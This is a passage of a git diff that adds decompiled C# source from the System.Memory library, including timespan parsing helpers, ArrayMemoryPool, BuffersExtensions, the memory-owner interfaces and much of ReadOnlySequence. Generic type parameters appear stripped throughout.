(!TryParseUInt32D(source.Slice(i), out var value5, out bytesConsumed2)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + if (i == source.Length || source[i++] != 46) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + if (!TryParseTimeSpanFraction(source.Slice(i), out var value6, out bytesConsumed2)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + if (!TryCreateTimeSpan(isNegative, value2, value3, value4, value5, value6, out value)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + if (i != source.Length && (source[i] == 46 || source[i] == 58)) + { + value = default(TimeSpan); + bytesConsumed = 0; + return false; + } + bytesConsumed = i; + return true; + } + + private static bool TryParseTimeSpanC(ReadOnlySpan source, out TimeSpan value, out int bytesConsumed) + { + TimeSpanSplitter timeSpanSplitter = default(TimeSpanSplitter); + if (!timeSpanSplitter.TrySplitTimeSpan(source, periodUsedToSeparateDay: true, out bytesConsumed)) + { + value = default(TimeSpan); + return false; + } + bool isNegative = timeSpanSplitter.IsNegative; + bool flag; + switch (timeSpanSplitter.Separators) + { + case 0u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, 0u, 0u, 0u, 0u, out value); + break; + case 16777216u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, 0u, 0u, out value); + break; + case 33619968u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, 0u, 0u, out value); + break; + case 16842752u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, 0u, out value); + break; + case 33620224u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, 0u, out value); + break; + case 16843264u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, out value); + break; + case 33620226u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, timeSpanSplitter.V5, out value); + break; + default: + value = default(TimeSpan); + flag = false; + break; + } + if (!flag) + { + bytesConsumed = 0; + return false; + } + return true; + } + + public static bool TryParse(ReadOnlySpan source, out TimeSpan value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'T': + case 'c': + case 't': + return TryParseTimeSpanC(source, out value, out bytesConsumed); + case 'G': + return TryParseTimeSpanBigG(source, out value, out bytesConsumed); + case 'g': + return TryParseTimeSpanLittleG(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + private static bool TryParseTimeSpanFraction(ReadOnlySpan source, out uint value, out int bytesConsumed) + { + int num = 0; + if (num == source.Length) + { + value = 0u; + bytesConsumed = 0; + return false; + } + uint num2 = (uint)(source[num] - 48); + if (num2 > 9) + { + value = 0u; + bytesConsumed = 0; + return false; + } + num++; + uint num3 = num2; + int num4 = 1; + while (num != source.Length) + { + num2 = (uint)(source[num] - 48); + if (num2 > 9) + { + break; + } + num++; + num4++; + if (num4 > 7) + { + value = 0u; + bytesConsumed = 0; + return false; + } + num3 = 10 * num3 + num2; + } + switch (num4) + { + case 6: + num3 *= 10; + break; + case 5: + num3 *= 100; + break; + case 4: + num3 *= 1000; + break; + case 3: + num3 *= 10000; + break; + case 2: + num3 *= 100000; + break; + default: + num3 *= 1000000; + break; + case 7: + break; + } + value = num3; + bytesConsumed = num; + return true; + } + + private static bool TryCreateTimeSpan(bool isNegative, uint days, uint hours, uint minutes, uint seconds, uint fraction, out TimeSpan timeSpan) + { + if (hours > 23 || minutes > 59 || seconds > 59) + { + timeSpan = default(TimeSpan); + return false; + } + long num = ((long)days * 3600L * 24 + (long)hours * 3600L + (long)minutes * 60L + seconds) * 1000; + long ticks; + if (isNegative) + { + num = -num; + if (num < -922337203685477L) + { + timeSpan = default(TimeSpan); + return false; + } + long num2 = num * 10000; + if (num2 < long.MinValue + fraction) + { + timeSpan = default(TimeSpan); + return false; + } + ticks = num2 - fraction; + } + else + { + if (num > 922337203685477L) + { + timeSpan = default(TimeSpan); + return false; + } + long num3 = num * 10000; + if (num3 > long.MaxValue - (long)fraction) + { + timeSpan = default(TimeSpan); + return false; + } + ticks = num3 + fraction; + } + timeSpan = new TimeSpan(ticks); + return true; + } + + private static bool TryParseTimeSpanLittleG(ReadOnlySpan source, out TimeSpan value, out int bytesConsumed) + { + TimeSpanSplitter timeSpanSplitter = default(TimeSpanSplitter); + if (!timeSpanSplitter.TrySplitTimeSpan(source, periodUsedToSeparateDay: false, out bytesConsumed)) + { + value = default(TimeSpan); + return false; + } + bool isNegative = timeSpanSplitter.IsNegative; + bool flag; + switch (timeSpanSplitter.Separators) + { + case 0u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, 0u, 0u, 0u, 0u, out value); + break; + case 16777216u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, 0u, 0u, out value); + break; + case 16842752u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, 0u, out value); + break; + case 16843008u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, 0u, out value); + break; + case 16843264u: + flag = TryCreateTimeSpan(isNegative, 0u, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, out value); + break; + case 16843010u: + flag = TryCreateTimeSpan(isNegative, timeSpanSplitter.V1, timeSpanSplitter.V2, timeSpanSplitter.V3, timeSpanSplitter.V4, timeSpanSplitter.V5, out value); + break; + default: + value = default(TimeSpan); + flag = false; + break; + } + if (!flag) + { + bytesConsumed = 0; + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/ArrayMemoryPool.cs b/decompiled/Libraries/system.memory/System.Buffers/ArrayMemoryPool.cs new file mode 100644 index 0000000..d4d6de7 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/ArrayMemoryPool.cs @@ -0,0 +1,60 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers; + +internal sealed class ArrayMemoryPool : MemoryPool +{ + private sealed class ArrayMemoryPoolBuffer : IMemoryOwner, IDisposable + { + private T[] _array; + + public Memory Memory + { + get + { + T[] array = _array; + if (array == null) + { + System.ThrowHelper.ThrowObjectDisposedException_ArrayMemoryPoolBuffer(); + } + return new Memory(array); + } + } + + public ArrayMemoryPoolBuffer(int size) + { + _array = ArrayPool.Shared.Rent(size); + } + + public void Dispose() + { + T[] array = _array; + if (array != null) + { + _array = null; + ArrayPool.Shared.Return(array); + } + } + } + + private const int s_maxBufferSize = int.MaxValue; + + public sealed override int MaxBufferSize => int.MaxValue; + + public sealed override IMemoryOwner Rent(int minimumBufferSize = -1) + { + if (minimumBufferSize == -1) + { + minimumBufferSize = 1 + 4095 / Unsafe.SizeOf(); + } + else if ((uint)minimumBufferSize > 2147483647u) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.minimumBufferSize); + } + return new ArrayMemoryPoolBuffer(minimumBufferSize); + } + + protected sealed override void Dispose(bool disposing) + { + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/BuffersExtensions.cs b/decompiled/Libraries/system.memory/System.Buffers/BuffersExtensions.cs new file mode 100644 index 0000000..5778d4c --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/BuffersExtensions.cs @@ -0,0 +1,116 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers; + +public static class BuffersExtensions +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static SequencePosition? PositionOf(this in ReadOnlySequence source, T value) where T : IEquatable + { + if (source.IsSingleSegment) + { + int num = source.First.Span.IndexOf(value); + if (num != -1) + { + return source.GetPosition(num); + } + return null; + } + return PositionOfMultiSegment(in source, value); + } + + private static SequencePosition? PositionOfMultiSegment(in ReadOnlySequence source, T value) where T : IEquatable + { + SequencePosition position = source.Start; + SequencePosition origin = position; + ReadOnlyMemory memory; + while (source.TryGet(ref position, out memory)) + { + int num = memory.Span.IndexOf(value); + if (num != -1) + { + return source.GetPosition(num, origin); + } + if (position.GetObject() == null) + { + break; + } + origin = position; + } + return null; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void CopyTo(this in ReadOnlySequence source, Span destination) + { + if (source.Length > destination.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.destination); + } + if (source.IsSingleSegment) + { + source.First.Span.CopyTo(destination); + } + else + { + CopyToMultiSegment(in source, destination); + } + } + + private static void CopyToMultiSegment(in ReadOnlySequence sequence, Span destination) + { + SequencePosition position = sequence.Start; + ReadOnlyMemory memory; + while (sequence.TryGet(ref position, out memory)) + { + ReadOnlySpan span = memory.Span; + span.CopyTo(destination); + if (position.GetObject() != null) + { + destination = destination.Slice(span.Length); + continue; + } + break; + } + } + + public static T[] ToArray(this in ReadOnlySequence sequence) + { + T[] array = new T[sequence.Length]; + sequence.CopyTo(array); + return array; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void Write(this IBufferWriter writer, ReadOnlySpan value) + { + Span span = writer.GetSpan(); + if (value.Length <= span.Length) + { + value.CopyTo(span); + writer.Advance(value.Length); + } + else + { + WriteMultiSegment(writer, in value, span); + } + } + + private static void WriteMultiSegment(IBufferWriter writer, in ReadOnlySpan source, Span destination) + { + ReadOnlySpan readOnlySpan = source; + while (true) + { + int num = Math.Min(destination.Length, readOnlySpan.Length); + readOnlySpan.Slice(0, num).CopyTo(destination); + writer.Advance(num); + readOnlySpan = readOnlySpan.Slice(num); + if (readOnlySpan.Length > 0) + { + destination = writer.GetSpan(readOnlySpan.Length); + continue; + } + break; + } + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/IBufferWriter.cs b/decompiled/Libraries/system.memory/System.Buffers/IBufferWriter.cs new file mode 100644 index 0000000..00ba567 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/IBufferWriter.cs @@ -0,0 +1,10 @@ +namespace System.Buffers; + +public interface IBufferWriter +{ + void Advance(int count); + + Memory GetMemory(int sizeHint = 0); + + Span GetSpan(int sizeHint = 0); +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/IMemoryOwner.cs b/decompiled/Libraries/system.memory/System.Buffers/IMemoryOwner.cs new file mode 100644 index 0000000..bcc6344 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/IMemoryOwner.cs @@ -0,0 +1,6 @@ +namespace System.Buffers; + +public interface IMemoryOwner : IDisposable +{ + Memory Memory { get; } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/IPinnable.cs b/decompiled/Libraries/system.memory/System.Buffers/IPinnable.cs new file mode 100644 index 0000000..5625748 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/IPinnable.cs @@ -0,0 +1,8 @@ +namespace System.Buffers; + +public interface IPinnable +{ + MemoryHandle Pin(int elementIndex); + + void Unpin(); +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/MemoryHandle.cs b/decompiled/Libraries/system.memory/System.Buffers/MemoryHandle.cs new file mode 100644 index 0000000..a4f1431 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/MemoryHandle.cs @@ -0,0 +1,29 @@ +using System.Runtime.InteropServices; + +namespace System.Buffers; + +public unsafe struct MemoryHandle(void* pointer, GCHandle handle = default(GCHandle), IPinnable pinnable = null) : IDisposable +{ + private unsafe void* _pointer = pointer; + + private GCHandle _handle = handle; + + private IPinnable _pinnable = pinnable; + + [CLSCompliant(false)] + public unsafe void* Pointer => _pointer; + + public unsafe void Dispose() + { + if (_handle.IsAllocated) + { + _handle.Free(); + } + if (_pinnable != null) + { + _pinnable.Unpin(); + _pinnable = null; + } + _pointer = null; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/MemoryManager.cs b/decompiled/Libraries/system.memory/System.Buffers/MemoryManager.cs new file mode 100644 index 0000000..7ef2b21 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/MemoryManager.cs @@ -0,0 +1,40 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers; + +public abstract class MemoryManager : IMemoryOwner, IDisposable, IPinnable +{ + public virtual Memory Memory => new Memory(this, GetSpan().Length); + + public abstract Span GetSpan(); + + public abstract MemoryHandle Pin(int elementIndex = 0); + + public abstract void Unpin(); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + protected Memory CreateMemory(int length) + { + return new Memory(this, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + protected Memory CreateMemory(int start, int length) + { + return new Memory(this, start, length); + } + + protected internal virtual bool TryGetArray(out ArraySegment segment) + { + segment = default(ArraySegment); + return false; + } + + void IDisposable.Dispose() + { + Dispose(disposing: true); + GC.SuppressFinalize(this); + } + + protected abstract void Dispose(bool disposing); +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/MemoryPool.cs b/decompiled/Libraries/system.memory/System.Buffers/MemoryPool.cs new file mode 100644 index 0000000..80f0f3a --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/MemoryPool.cs @@ -0,0 +1,20 @@ +namespace System.Buffers; + +public abstract class MemoryPool : IDisposable +{ + private static readonly MemoryPool s_shared = new System.Buffers.ArrayMemoryPool(); + + public static MemoryPool Shared => s_shared; + + public abstract int MaxBufferSize { get; } + + public abstract IMemoryOwner Rent(int minBufferSize = -1); + + public void Dispose() + { + Dispose(disposing: true); + GC.SuppressFinalize(this); + } + + protected abstract void Dispose(bool disposing); +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/OperationStatus.cs b/decompiled/Libraries/system.memory/System.Buffers/OperationStatus.cs new file mode 100644 index 0000000..19e5fef --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/OperationStatus.cs @@ -0,0 +1,9 @@ +namespace System.Buffers; + +public enum OperationStatus +{ + Done, + DestinationTooSmall, + NeedMoreData, + InvalidData +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequence.cs b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequence.cs new file mode 100644 index 0000000..e8ab555 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequence.cs @@ -0,0 +1,760 @@ +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Buffers; + +[DebuggerTypeProxy(typeof(System.Buffers.ReadOnlySequenceDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +public readonly struct ReadOnlySequence +{ + public struct Enumerator(in ReadOnlySequence sequence) + { + private readonly ReadOnlySequence _sequence = sequence; + + private SequencePosition _next = sequence.Start; + + private ReadOnlyMemory _currentMemory = default(ReadOnlyMemory); + + public ReadOnlyMemory Current => _currentMemory; + + public bool MoveNext() + { + if (_next.GetObject() == null) + { + return false; + } + return _sequence.TryGet(ref _next, out _currentMemory); + } + } + + private enum SequenceType + { + MultiSegment, + Array, + MemoryManager, + String, + Empty + } + + private readonly SequencePosition _sequenceStart; + + private readonly SequencePosition _sequenceEnd; + + public static readonly ReadOnlySequence Empty; + + public long Length => GetLength(); + + public bool IsEmpty => Length == 0; + + public bool IsSingleSegment + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return _sequenceStart.GetObject() == _sequenceEnd.GetObject(); + } + } + + public ReadOnlyMemory First => GetFirstBuffer(); + + public SequencePosition Start => _sequenceStart; + + public SequencePosition End => _sequenceEnd; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ReadOnlySequence(object startSegment, int startIndexAndFlags, object endSegment, int endIndexAndFlags) + { + _sequenceStart = new SequencePosition(startSegment, startIndexAndFlags); + _sequenceEnd = new SequencePosition(endSegment, endIndexAndFlags); + } + + public ReadOnlySequence(ReadOnlySequenceSegment startSegment, int startIndex, ReadOnlySequenceSegment endSegment, int endIndex) + { + if (startSegment == null || endSegment == null || (startSegment != endSegment && startSegment.RunningIndex > endSegment.RunningIndex) || (uint)startSegment.Memory.Length < (uint)startIndex || (uint)endSegment.Memory.Length < (uint)endIndex || (startSegment == endSegment && endIndex < startIndex)) + { + System.ThrowHelper.ThrowArgumentValidationException(startSegment, startIndex, endSegment); + } + _sequenceStart = new SequencePosition(startSegment, System.Buffers.ReadOnlySequence.SegmentToSequenceStart(startIndex)); + _sequenceEnd = new SequencePosition(endSegment, System.Buffers.ReadOnlySequence.SegmentToSequenceEnd(endIndex)); + } + + public ReadOnlySequence(T[] array) + { + if (array == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.array); + } + _sequenceStart = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceStart(0)); + _sequenceEnd = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceEnd(array.Length)); + } + + public ReadOnlySequence(T[] array, int start, int length) + { + if (array == null || (uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentValidationException(array, start); + } + _sequenceStart = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceStart(start)); + _sequenceEnd = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceEnd(start + length)); + } + + public ReadOnlySequence(ReadOnlyMemory memory) + { + ArraySegment segment; + if (MemoryMarshal.TryGetMemoryManager>(memory, out var manager, out var start, out var length)) + { + _sequenceStart = new SequencePosition(manager, System.Buffers.ReadOnlySequence.MemoryManagerToSequenceStart(start)); + _sequenceEnd = new SequencePosition(manager, System.Buffers.ReadOnlySequence.MemoryManagerToSequenceEnd(start + length)); + } + else if (MemoryMarshal.TryGetArray(memory, out segment)) + { + T[] array = segment.Array; + int offset = segment.Offset; + _sequenceStart = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceStart(offset)); + _sequenceEnd = new SequencePosition(array, System.Buffers.ReadOnlySequence.ArrayToSequenceEnd(offset + segment.Count)); + } + else if (typeof(T) == typeof(char)) + { + if (!MemoryMarshal.TryGetString((ReadOnlyMemory)(object)memory, out var text, out var start2, out length)) + { + System.ThrowHelper.ThrowInvalidOperationException(); + } + _sequenceStart = new SequencePosition(text, System.Buffers.ReadOnlySequence.StringToSequenceStart(start2)); + _sequenceEnd = new SequencePosition(text, System.Buffers.ReadOnlySequence.StringToSequenceEnd(start2 + length)); + } + else + { + System.ThrowHelper.ThrowInvalidOperationException(); + _sequenceStart = default(SequencePosition); + _sequenceEnd = default(SequencePosition); + } + } + + public ReadOnlySequence Slice(long start, long length) + { + if (start < 0 || length < 0) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(start); + } + int index = GetIndex(in _sequenceStart); + int index2 = GetIndex(in _sequenceEnd); + object obj = _sequenceStart.GetObject(); + object obj2 = _sequenceEnd.GetObject(); + SequencePosition position; + SequencePosition end; + if (obj != obj2) + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj; + int num = readOnlySequenceSegment.Memory.Length - index; + if (num > start) + { + index += (int)start; + position = new SequencePosition(obj, index); + end = GetEndPosition(readOnlySequenceSegment, obj, index, obj2, index2, length); + } + else + { + if (num < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + position = SeekMultiSegment(readOnlySequenceSegment.Next, obj2, index2, start - num, System.ExceptionArgument.start); + int index3 = GetIndex(in position); + object obj3 = position.GetObject(); + if (obj3 != obj2) + { + end = GetEndPosition((ReadOnlySequenceSegment)obj3, obj3, index3, obj2, index2, length); + } + else + { + if (index2 - index3 < length) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(0L); + } + end = new SequencePosition(obj3, index3 + (int)length); + } + } + } + else + { + if (index2 - index < start) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(-1L); + } + index += (int)start; + position = new SequencePosition(obj, index); + if (index2 - index < length) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(0L); + } + end = new SequencePosition(obj, index + (int)length); + } + return SliceImpl(in position, in end); + } + + public ReadOnlySequence Slice(long start, SequencePosition end) + { + if (start < 0) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(start); + } + uint index = (uint)GetIndex(in end); + object obj = end.GetObject(); + uint index2 = (uint)GetIndex(in _sequenceStart); + object obj2 = _sequenceStart.GetObject(); + uint index3 = (uint)GetIndex(in _sequenceEnd); + object obj3 = _sequenceEnd.GetObject(); + if (obj2 == obj3) + { + if (!InRange(index, index2, index3)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + if (index - index2 < start) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(-1L); + } + } + else + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj2; + ulong num = (ulong)(readOnlySequenceSegment.RunningIndex + index2); + ulong num2 = (ulong)(((ReadOnlySequenceSegment)obj).RunningIndex + index); + if (!InRange(num2, num, (ulong)(((ReadOnlySequenceSegment)obj3).RunningIndex + index3))) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + if ((ulong)((long)num + start) > num2) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + int num3 = readOnlySequenceSegment.Memory.Length - (int)index2; + if (num3 <= start) + { + if (num3 < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return SliceImpl(SeekMultiSegment(readOnlySequenceSegment.Next, obj, (int)index, start - num3, System.ExceptionArgument.start), in end); + } + } + return SliceImpl(new SequencePosition(obj2, (int)index2 + (int)start), in end); + } + + public ReadOnlySequence Slice(SequencePosition start, long length) + { + uint index = (uint)GetIndex(in start); + object obj = start.GetObject(); + uint index2 = (uint)GetIndex(in _sequenceStart); + object obj2 = _sequenceStart.GetObject(); + uint index3 = (uint)GetIndex(in _sequenceEnd); + object obj3 = _sequenceEnd.GetObject(); + if (obj2 == obj3) + { + if (!InRange(index, index2, index3)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + if (length < 0) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(0L); + } + if (index3 - index < length) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(0L); + } + } + else + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj; + ulong num = (ulong)(readOnlySequenceSegment.RunningIndex + index); + ulong start2 = (ulong)(((ReadOnlySequenceSegment)obj2).RunningIndex + index2); + ulong num2 = (ulong)(((ReadOnlySequenceSegment)obj3).RunningIndex + index3); + if (!InRange(num, start2, num2)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + if (length < 0) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(0L); + } + if ((ulong)((long)num + length) > num2) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + int num3 = readOnlySequenceSegment.Memory.Length - (int)index; + if (num3 < length) + { + if (num3 < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return SliceImpl(in start, SeekMultiSegment(readOnlySequenceSegment.Next, obj3, (int)index3, length - num3, System.ExceptionArgument.length)); + } + } + return SliceImpl(in start, new SequencePosition(obj, (int)index + (int)length)); + } + + public ReadOnlySequence Slice(int start, int length) + { + return Slice((long)start, (long)length); + } + + public ReadOnlySequence Slice(int start, SequencePosition end) + { + return Slice((long)start, end); + } + + public ReadOnlySequence Slice(SequencePosition start, int length) + { + return Slice(start, (long)length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySequence Slice(SequencePosition start, SequencePosition end) + { + BoundsCheck((uint)GetIndex(in start), start.GetObject(), (uint)GetIndex(in end), end.GetObject()); + return SliceImpl(in start, in end); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public ReadOnlySequence Slice(SequencePosition start) + { + BoundsCheck(in start); + return SliceImpl(in start, in _sequenceEnd); + } + + public ReadOnlySequence Slice(long start) + { + if (start < 0) + { + System.ThrowHelper.ThrowStartOrEndArgumentValidationException(start); + } + if (start == 0L) + { + return this; + } + return SliceImpl(Seek(in _sequenceStart, in _sequenceEnd, start, System.ExceptionArgument.start), in _sequenceEnd); + } + + public override string ToString() + { + if (typeof(T) == typeof(char)) + { + ReadOnlySequence source = this; + ReadOnlySequence sequence = Unsafe.As, ReadOnlySequence>(ref source); + if (SequenceMarshal.TryGetString(sequence, out var text, out var start, out var length)) + { + return text.Substring(start, length); + } + if (Length < int.MaxValue) + { + return new string(BuffersExtensions.ToArray(in sequence)); + } + } + return $"System.Buffers.ReadOnlySequence<{typeof(T).Name}>[{Length}]"; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public SequencePosition GetPosition(long offset) + { + return GetPosition(offset, _sequenceStart); + } + + public SequencePosition GetPosition(long offset, SequencePosition origin) + { + if (offset < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_OffsetOutOfRange(); + } + return Seek(in origin, in _sequenceEnd, offset, System.ExceptionArgument.offset); + } + + public bool TryGet(ref SequencePosition position, out ReadOnlyMemory memory, bool advance = true) + { + SequencePosition next; + bool result = TryGetBuffer(in position, out memory, out next); + if (advance) + { + position = next; + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal bool TryGetBuffer(in SequencePosition position, out ReadOnlyMemory memory, out SequencePosition next) + { + object obj = position.GetObject(); + next = default(SequencePosition); + if (obj == null) + { + memory = default(ReadOnlyMemory); + return false; + } + SequenceType sequenceType = GetSequenceType(); + object obj2 = _sequenceEnd.GetObject(); + int index = GetIndex(in position); + int index2 = GetIndex(in _sequenceEnd); + if (sequenceType == SequenceType.MultiSegment) + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj; + if (readOnlySequenceSegment != obj2) + { + ReadOnlySequenceSegment next2 = readOnlySequenceSegment.Next; + if (next2 == null) + { + System.ThrowHelper.ThrowInvalidOperationException_EndPositionNotReached(); + } + next = new SequencePosition(next2, 0); + memory = readOnlySequenceSegment.Memory.Slice(index); + } + else + { + memory = readOnlySequenceSegment.Memory.Slice(index, index2 - index); + } + } + else + { + if (obj != obj2) + { + System.ThrowHelper.ThrowInvalidOperationException_EndPositionNotReached(); + } + if (sequenceType == SequenceType.Array) + { + memory = new ReadOnlyMemory((T[])obj, index, index2 - index); + } + else if (typeof(T) == typeof(char) && sequenceType == SequenceType.String) + { + memory = (ReadOnlyMemory)(object)MemoryExtensions.AsMemory((string)obj, index, index2 - index); + } + else + { + memory = ((MemoryManager)obj).Memory.Slice(index, index2 - index); + } + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ReadOnlyMemory GetFirstBuffer() + { + object obj = _sequenceStart.GetObject(); + if (obj == null) + { + return default(ReadOnlyMemory); + } + int integer = _sequenceStart.GetInteger(); + int integer2 = _sequenceEnd.GetInteger(); + bool flag = obj != _sequenceEnd.GetObject(); + if (integer >= 0) + { + if (integer2 >= 0) + { + ReadOnlyMemory memory = ((ReadOnlySequenceSegment)obj).Memory; + if (flag) + { + return memory.Slice(integer); + } + return memory.Slice(integer, integer2 - integer); + } + if (flag) + { + System.ThrowHelper.ThrowInvalidOperationException_EndPositionNotReached(); + } + return new ReadOnlyMemory((T[])obj, integer, (integer2 & 0x7FFFFFFF) - integer); + } + if (flag) + { + System.ThrowHelper.ThrowInvalidOperationException_EndPositionNotReached(); + } + if (typeof(T) == typeof(char) && integer2 < 0) + { + return (ReadOnlyMemory)(object)MemoryExtensions.AsMemory((string)obj, integer & 0x7FFFFFFF, integer2 - integer); + } + integer &= 0x7FFFFFFF; + return ((MemoryManager)obj).Memory.Slice(integer, integer2 - integer); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private SequencePosition Seek(in SequencePosition start, in SequencePosition end, long offset, System.ExceptionArgument argument) + { + int index = GetIndex(in start); + int index2 = GetIndex(in end); + object obj = start.GetObject(); + object obj2 = end.GetObject(); + if (obj != obj2) + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj; + int num = readOnlySequenceSegment.Memory.Length - index; + if (num <= offset) + { + if (num < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return SeekMultiSegment(readOnlySequenceSegment.Next, obj2, index2, offset - num, argument); + } + } + else if (index2 - index < offset) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(argument); + } + return new SequencePosition(obj, index + (int)offset); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static SequencePosition SeekMultiSegment(ReadOnlySequenceSegment currentSegment, object endObject, int endIndex, long offset, System.ExceptionArgument argument) + { + while (true) + { + if (currentSegment != null && currentSegment != endObject) + { + int length = currentSegment.Memory.Length; + if (length > offset) + { + break; + } + offset -= length; + currentSegment = currentSegment.Next; + continue; + } + if (currentSegment == null || endIndex < offset) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(argument); + } + break; + } + return new SequencePosition(currentSegment, (int)offset); + } + + private void BoundsCheck(in SequencePosition position) + { + uint index = (uint)GetIndex(in position); + uint index2 = (uint)GetIndex(in _sequenceStart); + uint index3 = (uint)GetIndex(in _sequenceEnd); + object obj = _sequenceStart.GetObject(); + object 